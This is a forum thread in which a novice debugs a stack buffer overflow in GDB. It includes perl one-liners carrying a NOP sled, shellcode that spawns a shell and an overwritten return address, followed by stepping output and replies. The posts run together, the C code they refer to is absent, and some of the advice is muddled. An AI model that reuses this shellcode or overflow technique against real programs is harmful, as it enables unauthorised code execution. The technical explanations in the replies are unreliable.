Hello,I'm new and tried a buffer overflow. GDB also tells me that I successfully landed in the buffer (I checked rip with info frame), but the shellcode doesnt execute. I of course set the Stack executable (with execstack -s), but it still doesnt work. Here is the code and gdb output:

(gdb) r $(perl -e 'print "\x90"x20, "\xeb\x1b\x5b\x48\x31\xc0\x88\x43\x07\x48\x89\x5b\x08\x48\x89\x5b\x0c\xb0\x0b\x48\x8d\x4b\x0c\x48\x8d\x53\x0c\xcd\x80\xe8\xe0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4e\x41\x41\x41\x41\x42\x42\x42\x42", "A"x15, "BCD" , "\xf0\xd9\xff\xff\xff\x7f"')The program being debugged has been started already.Start it from the beginning? (y or n) y

Not 100% sure but since your buffer is 80 bytes long shouldn't your NOP sled("\x90"x20) be longer than the length of the buffer. Also what is the output of the overflow normally(without gdb), "segmentation fault core dump"? How do you know the shell code works? Have you used it on other programs you compiled? I think some compilers a few measues built in to prevent buffer overflows.

Disclaimer: Buffer overflows are not my strongest point.Your shellcode seems to works fine. The problem is that you are only writing the shell code into memory and not accessing it. So the shell code will never be called.Solution change your c code:

so I set up the breakpoint and ran it with:(gdb) r $(perl -e 'print "\x90"x20, "\xeb\x1b\x5b\x48\x31\xc0\x88\x43\x07\x48\x89\x5b\x08\x48\x89\x5b\x0c\xb0\x0b\x48\x8d\x4b\x0c\x48\x8d\x53\x0c\xcd\x80\xe8\xe0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4e\x41\x41\x41\x41\x42\x42\x42\x42", "A"x18 , "\x79\xdf\xff\xff\xff\x7f"')

0x00007fffffffdf79 in ?? ()(gdb)<enter>Cannot find bounds of current function(gdb)

hm...

I ran it again and continued:(gdb) r $(perl -e 'print "\x90"x20, "\xeb\x1b\x5b\x48\x31\xc0\x88\x43\x07\x48\x89\x5b\x08\x48\x89\x5b\x0c\xb0\x0b\x48\x8d\x4b\x0c\x48\x8d\x53\x0c\xcd\x80\xe8\xe0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4e\x41\x41\x41\x41\x42\x42\x42\x42", "A"x18 , "\x79\xdf\xff\xff\xff\x7f"')The program being debugged has been started already.Start it from the beginning? (y or n) y

I ran it again and stepped through the program and before it returned, I stepped only one assembler instruction (stepi):

(gdb) r $(perl -e 'print "\x90"x20, "\xeb\x1b\x5b\x48\x31\xc0\x88\x43\x07\x48\x89\x5b\x08\x48\x89\x5b\x0c\xb0\x0b\x48\x8d\x4b\x0c\x48\x8d\x53\x0c\xcd\x80\xe8\xe0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4e\x41\x41\x41\x41\x42\x42\x42\x42", "A"x18 , "\x79\xdf\xff\xff\xff\x7f"')The program being debugged has been started already.Start it from the beginning? (y or n) y

it is stepping through the nop sled, and I go on stepping until the shellcode starts:(gdb) 0x00007fffffffdfaa in ?? ()(gdb) 0x00007fffffffdf8f in ?? ()(gdb) 0x00007fffffffdf90 in ?? ()(gdb) 0x00007fffffffdf93 in ?? ()(gdb) 0x00007fffffffdf96 in ?? ()(gdb) 0x00007fffffffdf9a in ?? ()(gdb) 0x00007fffffffdf9e in ?? ()(gdb) 0x00007fffffffdfa0 in ?? ()(gdb) 0x00007fffffffdfa4 in ?? ()(gdb) 0x00007fffffffdfa8 in ?? ()(gdb) 0x00007fffffffdfaa in ?? ()

as you can see it loops through the shellcode. Propably the execve() syscall has failed.

SEGFAULT means you tried to access something that isn't normally supposed to be accessed. So basically the buffer overflow, which is supposed to bypass the SEGFAULT by (you know what a buffer overflow does), did not work, and the computer detected the illegal command you tried to input once it overflowed.